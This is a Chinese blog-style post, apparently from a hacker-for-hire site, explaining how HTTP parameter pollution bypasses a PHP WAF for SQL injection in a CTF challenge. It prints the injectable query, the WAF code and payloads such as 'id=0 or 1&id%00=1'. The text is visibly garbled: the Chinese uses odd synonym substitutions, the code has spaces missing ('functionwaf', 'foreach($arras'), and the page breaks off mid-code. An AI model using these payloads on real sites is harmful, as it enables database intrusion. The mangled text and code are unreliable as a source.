PHP的两个特性导致waf绕过注入

访客5年前黑客工具574

1、HPP HTTP参数污染
HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比方Apache就要以最终一个参数为准,比方:
user.php?id=111&id=222
假如输出$_GET数组,则id的值只会取222,即URL上提交的多余值覆盖了前一个值。
2、一个CTF标题
关于注入的waf绕过,注入点为:
$sql="select * from user where id=".$_REQUEST["id"].";";
能够看到了REQUEST进行传递,而且存在如下的waf代码:
    functionwaf($str) { 
        if(stripos($str,"select")!==false) 
            die("Be a good person!"); 
        if(stripos($str,"union")!==false) 
            die("Be a good person!"); 
        ...... 
    }   
      
    functionwafArr($arr) { 
        foreach($arras$k=> $v) { 
            waf($k); 
            waf($v); 
        } 
    }   
      
    wafArr($_GET); 
    wafArr($_POST); 
    wafArr($_COOKIE); 
    wafArr($_SESSION);  
      
    functionstripStr($str) { 
        if(get_magic_quotes_gpc()) 
            $str= stripslashes($str); 
        returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8')); 
    }   
      
    $uri= explode("?",$_SERVER['REQUEST_URI']); 
    if(isset($uri[1])) { 
        $parameter= explode("&",$uri[1]); 
        foreach($parameteras$k=> $v) { 
            $v1= explode("=",$v); 
            if(isset($v1[1])) { 
                $_REQUEST[$v1[0]] = stripStr($v1[1]); 
            } 
        } 
    }   
      
    functionstripArr($arr) { 
        $new_arr= array(); 
        foreach($arras$k=> $v) { 
            $new_arr[stripStr($k)] = stripStr($v); 
        } 
        return$new_arr; 
    }   
      
    $_GET=stripArr($_GET); 
    $_POST=stripArr($_POST); 
    $_COOKIE=stripArr($_COOKIE); 
    $_SESSION=stripArr($_SESSION);
这儿运用了waf函数分别对GET POST SESSION COOKIE数据进行过滤,而且对这些大局数组进行转义。
值得注意的是,这儿的$_REQUEST是代码中从头依据$_SERVER[‘REQUEST_URI’]进行拼接,在拼接过程中将参数值进行转义操作。
(1)思路1  运用HPP特性
看似不太可能存在注入,可是运用HPP能够完成。
示例代码:
user.php?id=0 or 1&id%00=1 
user.php?id=0 or 1&%20id=1 
user.php?id=0 or 1?&id=1
测验代码:
      
    function stripArr($arr) { 
        $new_arr = array(); 
        foreach ($arr as $k => $v) { 
            $new_arr[stripStr($k)] = stripStr($v); 
        } 
        return $new_arr; 
    } 
     
    function stripStr($str) { 
        if (get_magic_quotes_gpc()) 

[1] [2]  黑客接单网

相关文章

Web缓存操控战略详解

Cache-Control 办理Web缓存的最常用和最有用的办法之一是经过Cache-Control HTTP标头,由于此标头适用于Web页面的缓存,这意味着咱们页面上的一切内容都能够具有十分精细化的...

实例解说False盲注根底原理

0×01 前语 false盲注有些时分能够绕过一些WAF,也是简略被忽视的细节。本文的意图在于经过做CTF的一起来学习注入原理,一起也运用到本身的才能。这儿仅仅简略说一些我自己的了解,或许网上有更好的...

flare-emu的分析功能被进一步拓展-黑客接单平台

IDAPython 库 flare-emu团队新开发的一个库,这个库是依赖于 IDA Pro 和 Unicorn 模仿结构,并为让逆向工程师可以经过脚本对代码的功用进行模仿,Unicorn 支撑 x8...

恣意用户暗码重置(三):用户混杂

在逻辑缝隙中,恣意用户暗码重置最为常见,或许出现在新用户注册页面,也或许是用户登录后重置暗码的页面,或许用户忘掉暗码时的暗码找回页面,其间,暗码找回功用是重灾区。我把日常浸透过程中遇到的事例作了缝隙成...

网页挂马常见缝隙剖析与检测

一、CVE-2019-8373缝隙的开始剖析 2019年8月15日,趋势科技发表了他们发现的一同浏览器缝隙进犯事情。在检测到的进犯流量中,进犯者运用了cve-2019-8373这个缝隙来进犯IE浏览器...

JavaScript的注入引出技能欺诈

0×01 前语 在最近的歹意软件的查询中,咱们发现了一些风趣的混杂JavaScript代码。此代码伪装成现在盛行的插件AddThis social sharing的一部分,在URL命名约好和图画文件中...